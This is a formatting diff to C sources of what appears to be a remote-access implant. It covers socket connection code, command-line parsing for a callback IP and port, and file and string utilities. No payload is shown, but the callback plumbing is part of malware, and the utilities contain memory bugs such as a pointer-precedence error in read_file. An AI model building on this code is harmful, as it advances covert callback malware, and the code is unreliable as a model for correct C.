-            SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT (useful for testing) */
-            &is_enabled,
-            sizeof(int)
-        ) < 0) {
+  /* setting socket options to make connection more convenient */
+  if (setsockopt(sockfd, SOL_SOCKET,
+                 SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+                                                 (useful for testing) */
+                 &is_enabled, sizeof(int)) < 0) {
 
 #ifdef DEBUG
-        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+    DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
 #endif
 
-        close(sockfd);
-        return -1;
-    }
+    close(sockfd);
+    return -1;
+  }
 
-    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+  if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
 
 #ifdef DEBUG
-        DEBUG_LOG("connect: %s", strerror(errno));
+    DEBUG_LOG("connect: %s", strerror(errno));
 #endif
 
-        close(sockfd);
-        return -1;
-    }
+    close(sockfd);
+    return -1;
+  }
 
-    return sockfd;
+  return sockfd;
 }
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -2,7 +2,6 @@
    program's imput handling is handled here.
 */
 
-
 #include <getopt.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -13,51 +12,52 @@
 
 static void help_mode(char const *binary_path) {
 #ifdef DEBUG
-    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-n\tDisable network connection (for debug)\n", binary_path);
+  printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+         "Port\n\t-n\tDisable network connection (for debug)\n",
+         binary_path);
 #else
-    (void)binary_path;
+  (void)binary_path;
 #endif
 }
 
-
 int parse_user_input(int ac, char **av, implant_t *settings) {
-    int c = 0;
+  int c = 0;
 
 #ifdef DEBUG
-    char const *options = "i:p:hn";
+  char const *options = "i:p:hn";
 #else
-    char const *options = "i:p:h";
+  char const *options = "i:p:h";
 #endif
 
-    do {
-        c = getopt(ac, av, options);
-        switch (c) {
+  do {
+    c = getopt(ac, av, options);
+    switch (c) {
 
 #ifdef DEBUG
-            case 'n':
-                settings->disable_net = 1;
-                break;
+    case 'n':
+      settings->disable_net = 1;
+      break;
 #endif
-            case 'i':
-                strncpy((char *)&settings->ip, optarg, 255);
-                break;
-
-            case 'p':
-                 settings->port = (unsigned short)strtoul(optarg, NULL, 0);
-                 break;
-
-            case 'h':
-                 help_mode(av[0]);
-                 exit(0);
-                 /* will exit on help_mode() anyway */
-
-            case '?':
-                 help_mode(av[0]);
-                 return ERROR;
-
-            default:
-                 break;
-        }
-    } while (c != -1);
-    return SUCCESSFUL;
+    case 'i':
+      strncpy((char *)&settings->ip, optarg, 255);
+      break;
+
+    case 'p':
+      settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+      break;
+
+    case 'h':
+      help_mode(av[0]);
+      exit(0);
+      /* will exit on help_mode() anyway */
+
+    case '?':
+      help_mode(av[0]);
+      return ERROR;
+
+    default:
+      break;
+    }
+  } while (c != -1);
+  return SUCCESSFUL;
 }
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -5,160 +5,149 @@
 
 #include "implant.h"
 
-
-#include <stddef.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
+#include <ctype.h>
 #include <errno.h>
-#include <stdlib.h>
+#include <fcntl.h>
+#include <stddef.h>
 #include <stdint.h>
+#include <stdio.h>
 #include <stdlib.h>
-#include <unistd.h>
 #include <string.h>
-#include <ctype.h>
-#include <stdio.h>
-
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
 
 int read_file(char const *path, char **buffer) {
 
-    int fd = open(path, O_RDONLY);
-    if (0 > fd) {
+  int fd = open(path, O_RDONLY);
+  if (0 > fd) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+    DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
 #endif
-        return ERROR;
-    }
+    return ERROR;
+  }
 
-     /* could use fseek but stat is posix so let's use that */
-    struct stat st;
-    if (0 > fstat(fd, &st)) {
+  /* could use fseek but stat is posix so let's use that */
+  struct stat st;
+  if (0 > fstat(fd, &st)) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+    DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
 #endif
-        return ERROR;
-    }
+    return ERROR;
+  }
 
-    unsigned long filesize = (unsigned long)st.st_size;
+  unsigned long filesize = (unsigned long)st.st_size;
 
-    *buffer = malloc(sizeof(char) * (filesize + 1));
-    if (!buffer || !(*buffer)) {
+  *buffer = malloc(sizeof(char) * (filesize + 1));
+  if (!buffer || !(*buffer)) {
 #ifdef DEBUG
-        DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+    DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
 #endif
-        return ERROR;
-    }
+    return ERROR;
+  }
 
-    ssize_t bytes = read(fd, *buffer, filesize);
-    if (bytes != st.st_size) {
+  ssize_t bytes = read(fd, *buffer, filesize);
+  if (bytes != st.st_size) {
 #ifdef DEBUG
-        DEBUG_LOG(
-                "[!] Should have read %ld bytes but read %ld (filepath: %s)",
-            st.st_size, bytes, path
-        );
+    DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
+              st.st_size, bytes, path);
 #endif
 
-        if (bytes < 0) {
+    if (bytes < 0) {
 #ifdef DEBUG
-            DEBUG_LOG("read: %s", strerror(errno));
+      DEBUG_LOG("read: %s", strerror(errno));
 #endif
-            return ERROR;
-        }
+      return ERROR;
     }
+  }
 
-    *buffer[bytes] = 0;
-    close(fd);
-    return SUCCESSFUL;
+  *buffer[bytes] = 0;
+  close(fd);
+  return SUCCESSFUL;
 }
 
-static size_t get_nb_cols(const char *str, int n, char separator)
-{
-    size_t i = (size_t)n;
-    size_t res = 0;
+static size_t get_nb_cols(const char *str, int n, char separator) {
+  size_t i = (size_t)n;
+  size_t res = 0;
 
-    if (str == NULL || str[0] == '\0')
-        return 0;
-    for (; str[i] != '\0' && str[i] != separator; i++, res++);
-    return (res);
+  if (str == NULL || str[0] == '\0')
+    return 0;
+  for (; str[i] != '\0' && str[i] != separator; i++, res++)
+    ;
+  return (res);
 }
 
-static size_t get_nb_rows(const char *str, char separator)
-{
-    int i;
-    size_t res = 0;
-
-    if (str == NULL || str[0] == '\0')
-        return 0;
-    if (str == NULL || str[0] == '\0')
-        return (0);
-    for (i = 0; str[i] != '\0'; i++)
-        if (str[i] == separator)
-            res++;
-    return (res + 1);
+static size_t get_nb_rows(const char *str, char separator) {
+  int i;
+  size_t res = 0;
+
+  if (str == NULL || str[0] == '\0')
+    return 0;
+  if (str == NULL || str[0] == '\0')
+    return (0);
+  for (i = 0; str[i] != '\0'; i++)
+    if (str[i] == separator)
+      res++;
+  return (res + 1);
 }
 
-char **tabgen(const char *str, char separator)
-{
-    size_t i = 0;
-    size_t malloc_size = 0;
-    size_t index_str = 0;
-    char **res = NULL;
+char **tabgen(const char *str, char separator) {
+  size_t i = 0;
+  size_t malloc_size = 0;
+  size_t index_str = 0;
+  char **res = NULL;
 
-    if (str == NULL || *str == 0)
-        return NULL;
+  if (str == NULL || *str == 0)
+    return NULL;
 
-    res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
-    for (; i < get_nb_rows(str, separator); i++) {
-        malloc_size = get_nb_cols(&str[index_str], 0, separator);
+  res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+  for (; i < get_nb_rows(str, separator); i++) {
+    malloc_size = get_nb_cols(&str[index_str], 0, separator);
 
-        res[i] = malloc(sizeof(char) * (malloc_size + 4));
-        if (!res[i]) {
-            res[i] = NULL;
-            free_tab((uint8_t **)res);
-            return NULL;
-        }
+    res[i] = malloc(sizeof(char) * (malloc_size + 4));
+    if (!res[i]) {
+      res[i] = NULL;
+      free_tab((uint8_t **)res);
+      return NULL;
+    }
 
-        res[i] = strncpy(res[i], &str[index_str], malloc_size);
-        res[i][malloc_size] = '\0';
+    res[i] = strncpy(res[i], &str[index_str], malloc_size);
+    res[i][malloc_size] = '\0';
 
-        index_str = index_str + malloc_size + 1;
-    }
+    index_str = index_str + malloc_size + 1;
+  }
 
-    res[i] = NULL;
-    return (res);
+  res[i] = NULL;
+  return (res);
 }
 
-void free_tab(uint8_t **tab)
-{
-    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
-        free(tab[ctr]);
-    free(tab);
+void free_tab(uint8_t **tab) {
+  for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+    free(tab[ctr]);
+  free(tab);
 }
 
-char *remove_repeating_whitespaces(char *s)
-{
-    size_t i = 0;
-    size_t x = 0 ;
+char *remove_repeating_whitespaces(char *s) {
+  size_t i = 0;
+  size_t x = 0;
 
-    if (!s || !(*s))
-        return NULL;
+  if (!s || !(*s))
+    return NULL;
 
-    for(; s[i]; ++i)
-        if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
-            s[x++] = s[i];
+  for (; s[i]; ++i)
+    if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
+      s[x++] = s[i];
 
-    s[x] = '\0';
-    return s;
+  s[x] = '\0';
+  return s;
 }
 
-size_t get_array_size(uint8_t **array)
-{
-    size_t ctr = 0;
+size_t get_array_size(uint8_t **array) {
+  size_t ctr = 0;
 
-    if (!array)
-        return 0;
-    while (array[ctr++]);
-    return ctr;
+  if (!array)
+    return 0;
+  while (array[ctr++])
+    ;
+  return ctr;
 }